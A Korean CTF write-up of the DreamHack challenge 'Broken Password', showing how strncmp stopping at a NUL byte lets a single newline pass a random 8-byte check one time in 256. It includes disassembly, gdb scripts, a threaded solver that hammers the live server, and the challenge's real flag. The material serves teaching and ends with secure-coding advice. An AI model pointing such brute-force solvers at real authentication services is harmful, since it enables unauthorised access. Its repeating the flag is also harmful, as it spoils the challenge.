문제: DreamHack — Broken Password 분류: misc (사실상 리버싱 + 확률) 난이도: 🥈 Silver 3 FLAG:
DH{7dcff8d7b093da40e3dcf77e071603e79445416ca155ffab6f69d619a697c691}
문제 설명은 이렇게 짧다.
드멍이는 얼른 집에들어가서 쉬고싶은데 도어락이 고장나버렸어요... 얼른 문을 열고 침대로 가서 잠들게 해주세요!!
도어락이 고장났다는 게 힌트다. 제목도 "Broken Password" 다. 비밀번호를 깨뜨리는 문제가 아니라, 비밀번호 검사가 이미 고장나 있는 문제다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Broken Password (id 634) |
| 난이도 | 🥈 Silver 3 |
| 분류 | misc |
| 제공 파일 | prob (ELF 64-bit PIE, 16,728바이트, not stripped) |
| 서버 | host3.dreamhack.games:<PORT> (라이브 VM) |
| 핵심 취약점 | strncmp 의 NUL 조기 종료 + .bss 전역 password |
| 최종 확률 | 접속 1회당 1/256, 원격 실측 222회 8초 |
바이너리 하나만 준다. 소스는 없다.
풀이 흐름은 이렇게 흘러갔다. 디스어셈블로 main 을 읽어 보니 /dev/urandom 에서 8바이트를 받아 strncmp 로 비교하는 단순한 구조였다.
비교에 실패하면 임의 주소에 8바이트를 쓸 수 있는 두 번째 경로가 열리는데, 이쪽이 훨씬 그럴싸해 보였다. 한참 붙들고 있다가 주소를 흘리는 출력이 하나도 없다는 걸 확인하고 접었다.
다시 첫 번째 경로로 돌아와 strncmp 의 종료 조건을 따져 보니 거기에 구멍이 있었다.
🧩 배경 — .bss 의 전역 변수와 /dev/urandom
이 문제를 이해하려면 두 가지만 알면 된다.
첫째, 초기값 없는 전역 변수는 .bss 에 들어가고 0 으로 시작한다. C 표준이 그렇게 정해 뒀고, 리눅스에서는 커널이 그 페이지를 0 으로 채워 매핑해 준다. unsigned char password[8]; 처럼 선언만 해 두면 프로그램이 시작될 때 여덟 바이트가 전부 0x00 이다.
둘째, /dev/urandom 은 커널의 난수 장치다. 열어서 읽으면 요청한 만큼 예측 불가능한 바이트를 준다. 블로킹되지 않고, 엔트로피가 모자라도 그냥 준다. CTF 바이너리가 "맞힐 수 없는 값" 을 만들 때 흔히 쓴다.
문제 바이너리는 이 둘을 이어 붙였다. .bss 에 8바이트 전역을 잡아 두고, 시작하자마자 /dev/urandom 에서 8바이트를 읽어 덮는다. 그리고 우리 입력과 비교한다.
여기까지만 보면 뚫을 구석이 없다. 8바이트를 통째로 맞혀야 하니 2⁶⁴ 분의 1이다. 구멍은 난수 쪽이 아니라 비교 함수 쪽에 있었다.
먼저 파일부터 확인했다. 로컬 환경은 Ubuntu(glibc 2.42), gdb 16.3, binutils objdump 2.45 다.
file extracted/prob; readelf -lW extracted/prob | grep -E "GNU_STACK|GNU_RELRO"
PIE 라 실행할 때마다 주소가 통째로 바뀐다. 이 사실이 나중에 두 번째 경로를 포기하게 만든다.
심볼이 살아 있는 건 다행이다 — not stripped 라 함수 이름을 그대로 볼 수 있다.
🔬 코드 정찰
함수와 임포트
심볼이 남아 있으니 함수 목록부터 뽑는다. 임포트 목록은 이 프로그램이 무슨 일을 할 수 있는지 알려 준다.
nm extracted/prob | grep -E " T (main|proc_init|read_input|read_number)| B password"; nm -D extracted/prob | grep " U "
눈에 띄는 것 세 가지.
password 가 B 로 찍혔다. .bss 라는 뜻이다. 주소는 0x4060.
임포트에 system 이 있다. 이 바이너리 어딘가에서 셸 명령을 실행한다.
read_number 라는 함수가 있는데, 뒤에서 보겠지만 아무도 호출하지 않는다. 개발 과정에서 남은 죽은 코드다.
문자열
system 이 무슨 명령을 실행하는지는 문자열만 봐도 짐작이 간다.
strings -a extracted/prob | sed -n "/read error/,/happy sleep/p"
일곱 줄이 풀이의 뼈대를 다 보여 준다.
/dev/urandom 에서 뭔가를 읽고, can u guess me? 라고 묻고, 맞히면 cat flag 를 돌린다.
틀리면 wrong... :p 를 찍고 can you try another path? maybe impossible 이라고 도발한다.
"another path" 가 뭔지, 그리고 그게 정말 "maybe impossible" 인지가 이 문제의 절반이다.
main 디스어셈블
이제 실제 코드를 본다. 핵심 명령마다 주석을 얹으려고 sed 스크립트를 따로 뒀다. 인라인으로 쓰면 따옴표가 깨지기 때문이다.
# annot_main.sed
s|# 2015 <_IO_stdin_used+0x15>|& <-- "/dev/urandom"|
s|call 1190 <open@plt>|& <-- 열고|
s|# 4060 <password>|& <-- 전역 password (.bss 라 0 으로 시작한다)|
s|call 1170 <read@plt>|& <-- read(fd, password, 8) 로 랜덤 8바이트를 채운다|
s|call 132e <read_input>|& <-- 우리 입력을 buf 로 받는다|
s|call 1110 <strncmp@plt>|& <-- strncmp(password, buf, 8)|
s|jne 150d <main+0xc1>|& <-- 다르면 임의쓰기 경로로|
s|# 2032 <_IO_stdin_used+0x32>|& <-- "cat flag"|
s|call 1140 <system@plt>|& <-- 통과하면 여기. 목적지다|이걸 objdump 출력에 그대로 통과시킨다. 주석은 실제 출력 위에 얹은 것이고, 명령·주소는 손대지 않았다.
objdump -d --start-address=0x144c --stop-address=0x150d -M intel --no-show-raw-insn extracted/prob | sed -f annot_main.sed
C 로 옮기면 이렇다.
int main(void)
{
char buf[0x20];
char *where;
long what;
proc_init(); // setvbuf 3종
int fd = open("/dev/urandom", O_RDONLY);
read(fd, password, 8); // password 는 .bss 전역
close(fd);
puts("can u guess me?");
sleep(0); // 0초. 아무 일도 안 한다
read_input(buf, 0x20);
if (strncmp(password, buf, 8) == 0) {
system("cat flag"); // ← 여기가 목적지
} else {
puts("wrong... :p");
puts("can you try another path? maybe impossible");
printf("> "); read_input(&where, 8); // 쓸 주소
printf("> "); read_input(&what, 8); // 쓸 값
*(long *)where = what; // ← 임의 주소 8바이트 쓰기
puts("wish your happy sleep");
}
return 0;
}두 가지가 바로 눈에 들어온다.
sleep(0) 은 아무것도 안 한다. 재시도 속도를 늦추려던 흔적으로 보이는데 인자가 0이라 지연이 없다. 브루트포스를 막을 장치가 사실상 없다는 뜻이다.
그리고 else 쪽. 주소와 값을 각각 받아서 *(long *)where = what 을 실행한다. 교과서적인 write-what-where 다.
스택 카나리도 있고 오버플로도 없는데, 임의 주소에 8바이트를 통째로 쓸 수 있는 원시 기능이 대놓고 놓여 있다.
당연히 이쪽부터 파고들었다.
🧱 read_input 이 실제로 하는 일
임의 쓰기로 넘어가기 전에 read_input 을 먼저 읽었다. 입력을 어떻게 다루는지 알아야 무엇을 보낼 수 있는지 알기 때문이다.
이 함수를 제대로 읽은 게 결국 풀이의 열쇠가 됐다.
# annot_readinput.sed
s|call 1170 <read@plt>|& <-- read(0, buf, n) — 반환값이 읽은 바이트 수|
s|jns 138e <read_input+0x60>|& <-- 음수면 read error! 찍고 exit|
s|lea rdx,\[rax-0x1\]|& <-- n-1 번째, 즉 마지막 바이트|
s|movzx eax,BYTE PTR \[rax\]|& <-- 그 바이트를 꺼내|
s|cmp al,0xa|& <-- 개행(0x0a)인지 본다|
s|mov BYTE PTR \[rax\],0x0|& <-- 개행이면 그 자리를 0x00 으로 덮는다|objdump -d --start-address=0x132e --stop-address=0x13bd -M intel --no-show-raw-insn extracted/prob | sed -f annot_readinput.sed
C 로 옮기면 짧다.
int read_input(char *buf, int n)
{
int r = read(0, buf, n);
if (r < 0) {
fwrite("read error!\n", 1, 12, stderr);
exit(1);
}
if (buf[r - 1] == '\n') // 마지막 바이트가 개행이면
buf[r - 1] = '\0'; // 그 자리를 NUL 로 바꾼다
return r;
}세 가지를 기억해 두자.
버퍼를 0 으로 초기화하지 않는다. read 가 채운 만큼만 유효하고 나머지는 스택에 남아 있던 쓰레기다.
길이 검사가 없다. 정확히 n 바이트를 요구하지 않는다. 한 바이트만 보내도 그대로 진행한다.
끝의 개행을 NUL 로 바꾼다. 이게 핵심이다. 우리가 엔터만 치면 read 는 1을 반환하고 buf[0] 에 0x0a 가 들어간 뒤 곧바로 0x00 으로 덮인다. 즉 개행 한 글자를 보내면 버퍼 첫 바이트가 NUL 이 된다.
런타임으로 확인
정적 분석은 여기까지고, 실제로 그렇게 도는지 gdb 로 확인했다. 배치 모드라 스크립트 파일 하나면 된다.
# runtime_check.gdb
set pagination off
set confirm off
# main+0x5a = read(fd, password, 8) 직후
break *main+0x5a
# main+0xa4 = call strncmp 직전
break *main+0xa4
run
printf "\n[1] /dev/urandom 을 읽은 직후의 password(.bss 0x4060) 8바이트\n"
x/8xb &password
continue
printf "\n[2] strncmp 인자 — rdi=password, rsi=입력버퍼, rdx=n\n"
printf " rdi = %p\n", $rdi
printf " rsi = %p\n", $rsi
printf " rdx = %d\n", $rdx
printf " password[0..7] : "
x/8xb $rdi
printf " buf[0..7] : "
x/8xb $rsi
printf "\n[3] password[0] 을 0 으로 강제하면 (= urandom 이 0x00 을 내준 경우)\n"
set {unsigned char}((unsigned char *)&password) = 0
x/8xb &password
printf "\n[4] 그 상태로 이어서 실행한 결과\n"
continue
quitlocal/ 안에 prob 사본과 더미 flag 파일을 두고 돌렸다. 표준입력으로는 개행 하나만 보낸다.
printf "\n" | gdb -q -batch -x ../runtime_check.gdb ./prob
읽을 게 많다.
[1] 에서 password 가 0c bd 6f 35 9e e2 fa 34 로 채워졌다. /dev/urandom 이 제대로 8바이트를 준 것이다.
[2] 에서 strncmp 의 세 번째 인자가 정확히 8이다. 그리고 우리 입력 버퍼는 첫 바이트부터 0x00 이다 — 개행이 NUL 로 바뀐 결과다.
[3] 에서 password[0] 만 0x00 으로 바꿨다. 나머지 일곱 바이트는 그대로 랜덤이다.
[4] 를 보자. 그 한 바이트를 바꿨을 뿐인데 cat flag 가 실행됐다. 뒤의 일곱 바이트가 우리 입력과 전혀 다른데도 통과한 것이다.
이 화면이 나온 순간 풀이가 끝났다. 다만 여기까지 오기 전에 엉뚱한 데서 한참 시간을 썼다.
🐛 삽질
▶🕳️ 삽질 1 — 임의 주소 쓰기라는 미끼를 한참 붙들었다
*(long *)where = what 을 보자마자 이쪽이 정답이라고 확신했다. 프로그램이 대놓고 "can you try another path?" 라고 부르기까지 한다.
8바이트 임의 쓰기면 보통은 GOT 하나 덮어서 끝난다.
계획은 이랬다. 쓰기 직후에 puts("wish your happy sleep") 가 호출되니, puts@GOT 를 main+0xad 로 덮는다.
main+0xad 는 cat flag 를 넣고 system 을 부르는 지점이다. 그러면 그 puts 가 곧바로 플래그를 뱉는다.
문제는 "어디에" 다. PIE 바이너리라 puts@GOT 의 실제 주소는 실행마다 달라진다.
베이스를 알아야 하는데, 이 바이너리에는 주소를 흘리는 출력이 하나도 없다. printf 는 쓰이지만 인자가 "> " 고정이라 포맷 스트링이 아니다. 유일한 출력은 puts 로 찍는 고정 문자열뿐이다.
그래도 미련이 남아서 확인해 봤다. 쓸 주소와 값에 각각 BBBBBBBB, CCCCCCCC 를 넣고 브레이크포인트를 걸었다.
# write_probe.gdb
set pagination off
set disable-randomization off
set confirm off
# main+0x134 = mov QWORD PTR [rdx], rax — 임의 쓰기 그 자체
break *main+0x134
run
printf "\n[1] 목적지도 값도 우리가 100%% 정한다 (write-what-where)\n"
x/i $pc
printf " rdx 어디에 = %p\n", $rdx
printf " rax 무엇을 = %p\n", $rax
printf "\n[2] 그런데 '어디에' 를 정하려면 PIE 베이스를 알아야 한다\n"
printf " 이번 실행의 main = %p\n", &main
printf " 이번 실행의 password = %p\n", &password
printf " 이번 실행의 cat flag 지점 = %p\n", (char *)&main + 0xad
printf " → 실행마다 통째로 바뀌는데, 이 바이너리엔 주소를 흘리는 출력이 하나도 없다.\n"
printf "\n[3] 그래서 아무 주소나 넣으면\n"
continue
quit입력은 파일로 만들어 두고 리다이렉트했다. read(0, buf, n) 이 요청한 n 만큼만 잘라 읽으므로, 48바이트를 한 번에 흘려보내도 32 + 8 + 8 로 알아서 갈린다.
import pathlib
# 32B(오답용 password 추측) + 8B(쓸 주소) + 8B(쓸 값)
pathlib.Path('write_probe_input.bin').write_bytes(b'A'*32 + b'BBBBBBBB' + b'CCCCCCCC')gdb -q -batch -x write_probe.gdb local/prob < write_probe_input.bin
[1] 을 보면 목적지(rdx)도 값(rax)도 우리가 보낸 그대로다. 원시 기능 자체는 완벽하다.
[2] 가 결론이다. set disable-randomization off 로 ASLR 을 켠 상태라 주소가 실행마다 통째로 바뀐다. 이 값을 알아낼 방법이 없다.
[3] 은 예상대로 SIGSEGV.
베이스 없이 쓸 수 있는 고정 주소가 있는지도 찾아봤지만 없었다. 부분 덮어쓰기도 안 된다 — 8바이트를 통째로 쓰는 구조라 하위 몇 바이트만 손대는 게 불가능하다.
maybe impossible 은 도발이 아니라 사실이었다. 이 경로는 정말로 막혀 있다.
▶🕳️ 삽질 2 — 로컬 실행이 1000번 내내 조용히 실패했다
풀이 방향을 잡고 나서 로컬에서 확률을 재려고 바이너리를 1000번 돌렸다. 결과는 0회. 기대값이 4회쯤이니 나올 확률이 2% 정도라 "운이 없었나" 싶으면서도 찜찜했다.
원인은 허무했다. 배포 zip 이 실행 비트를 보존하지 않아서 압축을 푼 prob 이 실행 권한 없이 나온 것이다.
(eval):1: 허가 거부: ./prob
(exit=126)루프 안에서 출력만 grep 하고 있었으니 1000번 전부 허가 거부 를 뱉고 조용히 넘어갔다. 종료 코드를 안 본 게 잘못이다.
chmod +x prob한 줄로 끝났다. reproduce.sh 에도 이 chmod 를 넣어 뒀다 — 다른 환경에서 그대로 다시 밟을 함정이라서.
교훈이라면, 반복 실행 루프는 결과 문자열만 보지 말고 종료 코드도 같이 봐야 한다는 것. "안 나온다" 와 "실행이 안 됐다" 는 화면상 구분이 안 된다.
💣 핵심 — strncmp 는 n 바이트를 다 보지 않는다
strncmp(a, b, n) 을 "앞에서 n 바이트를 비교한다" 로 외우고 있으면 이 문제는 안 풀린다. 정확한 동작은 이렇다.
바이트를 하나씩 비교하다가 셋 중 하나가 오면 멈춘다. 값이 다르거나, 양쪽 다 NUL 이거나, n 개를 다 봤거나. 그리고 양쪽 다 NUL 이면 0(같음)을 반환한다.
즉 n 은 상한일 뿐이다. NUL 이 먼저 오면 거기서 끝난다.

문제 코드에 대입해 보자.
password 는 /dev/urandom 이 준 8바이트다. 첫 바이트가 0x00 일 확률은 정확히 1/256.
우리가 보낼 입력은 개행 한 글자. read_input 이 그걸 0x00 으로 바꿔 주니 buf[0] == 0x00 이다.
두 조건이 겹치면 strncmp 는 첫 칸에서 양쪽 NUL 을 보고 0 을 반환한다. 뒤의 일곱 바이트는 읽지도 않는다. 우리가 그 값을 알 필요가 전혀 없다.
8바이트를 다 맞히면 2⁶⁴ 분의 1이지만, 실제로 요구되는 건 한 바이트다. 2**64 에서 256 으로 내려온다.
정말 그런가 — 직접 확인
말로만 넘어가기엔 중요한 부분이라 짧은 C 프로그램으로 확인했다.
/* strncmp_demo.c — strncmp 가 정말 n 바이트를 "전부" 비교하는지 확인한다.
* prob 은 strncmp(password, buf, 8) == 0 이면 flag 를 준다. */
#include <stdio.h>
#include <string.h>
static void t(const char *label, const unsigned char *a, const unsigned char *b)
{
int r = strncmp((const char *)a, (const char *)b, 8);
printf("%-46s strncmp(...,8) = %2d %s\n", label, r, r == 0 ? "통과" : "실패");
}
int main(void)
{
/* urandom 이 내준 8바이트라고 치자 */
unsigned char rnd[8] = {0xa7, 0x37, 0xc0, 0x25, 0x65, 0x60, 0xcb, 0x76};
/* 첫 바이트만 0x00 이고 나머지는 그대로 랜덤 */
unsigned char zero_first[8] = {0x00, 0x37, 0xc0, 0x25, 0x65, 0x60, 0xcb, 0x76};
/* 우리가 보내는 것: 개행 한 글자 → read_input 이 0x00 으로 바꾼다 */
unsigned char mine[8] = {0x00, 'A', 'A', 'A', 'A', 'A', 'A', 'A'};
printf("password[0] != 0x00 인 경우\n");
t(" 랜덤 8바이트 vs 우리 입력(0x00 시작)", rnd, mine);
printf("\npassword[0] == 0x00 인 경우 (확률 1/256)\n");
t(" 0x00 시작 vs 우리 입력(0x00 시작)", zero_first, mine);
printf("\n뒤 7바이트는 서로 완전히 다른데도 통과한다 —\n");
printf("strncmp 는 첫 바이트에서 양쪽 다 NUL 을 보면 거기서 같다고 끝낸다.\n");
return 0;
}gcc -O0 -o strncmp_demo strncmp_demo.c && ./strncmp_demo
두 번째 케이스에서 뒤 일곱 바이트는 37 c0 25 65 60 cb 76 대 41 41 41 41 41 41 41 이다. 한 바이트도 안 맞는데 반환값이 0이다.
🎯 확률이 정말 1/256 인가
이론은 맞는데 실제 바이너리도 그렇게 도는지는 별개다. .bss 초기화, read_input 의 개행 처리, strncmp 호출까지 전부 예상대로 맞물려야 한다.
그래서 로컬에서 직접 세어 봤다.
로컬 실행 환경은 local/ 폴더에 prob 사본과 더미 flag 파일을 둔 것이다. 실행 비트를 반드시 켜 둬야 한다(삽질 2).
#!/usr/bin/env python3
"""로컬에서 prob 을 N번 돌려 '개행 한 글자'가 몇 번 통과하는지 센다.
이론값은 1/256 = 0.391% — urandom 이 내주는 첫 바이트가 0x00 일 확률이다.
실측이 여기에 맞으면 "strncmp 가 NUL 에서 멈춘다"는 해석이 맞다는 뜻이다.
local/ 안에 prob 과 (로컬용 더미) flag 파일이 있어야 한다.
"""
import concurrent.futures as cf
import pathlib
import subprocess
import sys
HERE = pathlib.Path(__file__).resolve().parent
LOCAL = HERE / "local"
N = int(sys.argv[1]) if len(sys.argv) > 1 else 3000
def one(_):
p = subprocess.run(["./prob"], cwd=LOCAL, input=b"\n",
capture_output=True, timeout=20)
return b"DH{" in p.stdout
def main():
with cf.ThreadPoolExecutor(max_workers=16) as ex:
hits = sum(ex.map(one, range(N)))
print(f"시도 {N}회 중 통과 {hits}회 = {hits / N * 100:.3f}%")
print(f"이론값 1/256 = {100 / 256:.3f}%")
if __name__ == "__main__":
main()python3 local_bruteforce.py 4000
4000회에 14회. 0.350% 다. 이론값 0.391% 와의 차이는 이 표본 크기에서 정상 범위다(기댓값 15.6, 표준편차 약 3.9).
여기서 확신이 섰다. 남은 건 같은 짓을 네트워크 너머로 하는 것뿐이다.
🚀 Full Exploit
원격에서는 프로세스를 우리가 직접 못 띄우니 접속을 반복한다. 접속 하나가 곧 프로세스 하나이고, 프로세스마다 /dev/urandom 을 새로 읽는다.
기대 시도 횟수는 256회.
sleep(0) 덕분에 재시도 간격 제약이 없다. 스레드 몇 개로 동시에 두드리면 금방 끝난다.
#!/usr/bin/env python3
"""Broken Password (DreamHack, Silver 3 / misc) — solver
핵심:
main() 은 /dev/urandom 에서 8바이트를 읽어 전역 password(.bss) 에 넣고
strncmp(password, buf, 8) == 0 이면 system("cat flag") 를 실행한다.
strncmp 는 "n바이트를 전부 비교"하는 함수가 아니라 **NUL 을 만나면 거기서 멈추고
같다고 판정**한다. 그래서 password[0] 이 0x00 이기만 하면 우리가 빈 문자열을
보내는 것만으로 통과한다. read_input() 이 입력 끝의 '\n' 을 '\0' 으로 바꿔 주므로
개행 한 글자만 보내면 buf[0] = 0x00 이 된다.
urandom 첫 바이트가 0x00 일 확률 = 1/256. 접속을 반복하면 평균 256회에 뚫린다.
binary 안의 sleep(0) 은 지연이 0초라 재시도 속도를 전혀 막지 못한다.
사용:
python3 solve.py <host> <port> [--threads N] [--max N]
"""
import argparse
import socket
import sys
import threading
import time
FOUND = threading.Event()
FLAG = None
LOCK = threading.Lock()
TRIES = 0
def attempt(host: str, port: int, timeout: float = 4.0) -> str | None:
"""한 번 접속해서 개행 한 글자를 보내고 flag 가 나오는지 본다."""
global TRIES
s = socket.create_connection((host, port), timeout=timeout)
try:
s.settimeout(timeout)
# "can u guess me?" 배너를 기다린다
banner = b""
while b"guess" not in banner:
chunk = s.recv(4096)
if not chunk:
return None
banner += chunk
# buf[0] = '\n' → read_input() 이 '\0' 으로 치환 → 빈 문자열
s.sendall(b"\n")
data = b""
deadline = time.time() + timeout
while time.time() < deadline:
try:
chunk = s.recv(4096)
except socket.timeout:
break
if not chunk:
break
data += chunk
if b"DH{" in data or b"wrong" in data:
break
return data.decode(errors="replace")
finally:
with LOCK:
TRIES += 1
s.close()
def worker(host: str, port: int, max_tries: int) -> None:
global FLAG
while not FOUND.is_set():
with LOCK:
if TRIES >= max_tries:
return
try:
out = attempt(host, port)
except OSError:
time.sleep(0.2)
continue
if out and "DH{" in out:
line = next(l for l in out.splitlines() if "DH{" in l)
with LOCK:
FLAG = line.strip()
FOUND.set()
return
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("host")
ap.add_argument("port", type=int)
ap.add_argument("--threads", type=int, default=6)
ap.add_argument("--max", type=int, default=4000, help="최대 시도 횟수")
a = ap.parse_args()
print(f"[*] target {a.host}:{a.port} threads={a.threads} p(hit)=1/256")
t0 = time.time()
ts = [threading.Thread(target=worker, args=(a.host, a.port, a.max), daemon=True)
for _ in range(a.threads)]
for t in ts:
t.start()
while any(t.is_alive() for t in ts) and not FOUND.is_set():
time.sleep(0.5)
print(f"\r[*] 시도 {TRIES}회 ({time.time() - t0:.0f}s)", end="", flush=True)
for t in ts:
t.join(timeout=2)
print()
if FLAG:
print(f"[+] {TRIES}회 만에 password[0] == 0x00 인 프로세스를 만났다 "
f"({time.time() - t0:.0f}s)")
print(f"[+] FLAG: {FLAG}")
return 0
print(f"[-] {TRIES}회 시도했지만 실패")
return 1
if __name__ == "__main__":
sys.exit(main())배너를 끝까지 기다리는 부분이 은근히 중요하다. can u guess me? 가 도착하기 전에 개행을 밀어 넣으면 그 바이트가 어디로 갈지 보장되지 않는다.
먼저 로컬 복제본에
라이브 VM 을 켜기 전에 로컬에서 같은 서버를 만들어 붙여 봤다. socat 으로 포트에 바이너리를 물리면 원격과 같은 모양이 된다.
cd local && socat TCP-LISTEN:31337,reuseaddr,fork EXEC:"./prob" &python3 solve.py 127.0.0.1 31337 --threads 6
445회, 2초. 스크립트가 제대로 돈다는 것과 확률 모델이 네트워크를 끼고도 유효하다는 걸 동시에 확인했다. 나오는 값은 물론 로컬에 만들어 둔 더미 플래그다.
그리고 라이브 서버에
여기까지 마치고서야 문제 서버를 켰다.
python3 solve.py host3.dreamhack.games 16591 --threads 6
222회, 8초.
DH{7dcff8d7b093da40e3dcf77e071603e79445416ca155ffab6f69d619a697c691}기댓값이 256회니 운이 조금 좋은 편이었다. 여러 번 돌려 보면 대체로 100회에서 600회 사이에서 끝난다.
🧪 재현
reproduce.sh 하나로 두 가지를 다 돌리게 해 뒀다.
#!/usr/bin/env bash
# Broken Password (DreamHack #634, Silver 3 / misc) — 한 방 재현
#
# ./reproduce.sh → 로컬 socat 복제본으로 기법만 검증 (서버 불필요)
# ./reproduce.sh host3.dreamhack.games 16591
# → 라이브 VM 에서 진짜 flag 회수 + 정답 대조
set -eu
cd "$(dirname "$(readlink -f "$0")")"
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
[ -n "$EXPECT" ] || EXPECT='DH{7dcff8...}'
if [ "$#" -ge 2 ]; then
echo "[*] 라이브 모드 — $1:$2"
OUT=$(timeout 300 python3 solve.py "$1" "$2" --threads 6 --max 4000 2>&1) || true
echo "$OUT" | tail -5
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "${FLAG:-}" = "$EXPECT" ]; then
echo; echo "✅ PASS $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1
fi
echo "[*] 로컬 모드 — 서버 없이 기법만 검증한다 (진짜 flag 아님)"
DUMMY='DH{local_dummy_flag_for_verification}'
PORT=${PORT:-31337}
mkdir -p local
cp -f extracted/prob local/prob
chmod +x local/prob # ★ zip 안의 prob 은 실행 비트가 없다
printf '%s\n' "$DUMMY" > local/flag
( cd local && setsid socat TCP-LISTEN:$PORT,reuseaddr,fork EXEC:"./prob" >/dev/null 2>&1 & )
sleep 1
SOCAT_PID=$(ss -ltnpH "sport = :$PORT" 2>/dev/null | grep -oP 'pid=\K[0-9]+' | head -1)
trap 'kill "$SOCAT_PID" 2>/dev/null || true' EXIT
gcc -O0 -o strncmp_demo strncmp_demo.c && ./strncmp_demo
python3 local_bruteforce.py 2000
OUT=$(timeout 180 python3 solve.py 127.0.0.1 "$PORT" --threads 6 --max 4000 2>&1) || true
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
[ "${FLAG:-}" = "$DUMMY" ] && { echo "✅ 기법 PASS (로컬 더미 flag)"; exit 0; }
echo "❌ FAIL"; exit 1성공·실패 판정은 이렇게 읽으면 된다.
| 화면 | 뜻 | 대처 |
|---|---|---|
허가 거부 / exit 126 | prob 에 실행 비트가 없다 | chmod +x prob |
| 통과율이 0.0% 로 고정 | 위와 같은 원인이거나 flag 파일이 없다 | local/flag 를 만든다 |
시도 N회 가 멈춘 채 안 늘어남 | 서버가 만료됐거나 방화벽 | nc -zv <host> <port> 로 먼저 확인 |
| 4000회를 다 쓰고 실패 | 확률상 드물다(약 1/1,000,000) | 그냥 다시 돌린다 |
로컬 모드에서 나오는 DH{local_dummy_flag_for_verification} 은 우리가 만든 더미다.
진짜 플래그는 문제 서버 안에만 있으므로 오프라인 재현으로는 얻을 수 없다.
필요한 것은 gcc, python3, socat 셋뿐이다.
📝 결론
strncmp 의 n 은 상한이지 하한이 아니다.
"길이를 명시했으니 그만큼은 확실히 본다" 는 감각이 틀렸다. NUL 이 먼저 오면 거기서 끝나고, 양쪽 다 NUL 이면 같다고 답한다.
이진 데이터를 비교할 때 strncmp/strcmp 계열을 쓰면 안 되는 이유다.
이 문제에서는 그 차이가 2⁶⁴ 대 2⁸ 였다. 같은 코드가 "사실상 불가능" 에서 "커피 한 잔 마시는 동안" 으로 내려온다.
바이트 배열은 memcmp 로, 비밀값은 상수 시간 비교로.
길이가 정해진 이진 값이라면 memcmp(a, b, 8) 이 맞다. NUL 을 특별 취급하지 않고 딱 8바이트를 본다.
비밀번호·토큰·MAC 처럼 비밀값을 비교한다면 한 걸음 더 가서 CRYPTO_memcmp 같은 상수 시간 비교를 쓴다. 조기 종료는 그 자체로 타이밍 정보를 흘린다.
난수를 쓴다고 안전해지지 않는다.
/dev/urandom 은 제 할 일을 다 했다. 여덟 바이트를 제대로 무작위로 줬고, 그중 첫 바이트가 0x00 인 것도 정상 동작이다.
문제는 그 값을 어떻게 쓰느냐 였다. 난수의 특정 바이트 값이 검사 로직의 의미를 바꿔 버리는 구조라면 난수 품질과 무관하게 뚫린다.
시도 횟수를 제한하지 않으면 확률은 시간 문제가 된다.
1/256 은 한 번에는 잘 안 맞지만 초당 30회를 던지면 10초짜리 문제다.
sleep(0) 이 아니라 sleep(1) 이었다면 평균 4분, 실패 시 접속 차단까지 있었다면 훨씬 성가셨을 것이다. 인증 실패에 지연과 횟수 제한을 거는 건 이래서 필요하다.
그리고 눈에 띄는 원시 기능이 항상 정답은 아니다.
임의 주소 8바이트 쓰기는 웬만한 pwn 문제에서는 끝내주는 무기다. 그런데 이 문제에서는 주소 유출이 없어 쓸 수가 없었다.
프로그램이 maybe impossible 이라고 적어 둔 게 도발이 아니라 그냥 사실이었다. 화려한 쪽을 먼저 파느라 정작 첫 번째 분기의 비교 함수를 늦게 들여다봤다 — 다음엔 순서를 바꿔야겠다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…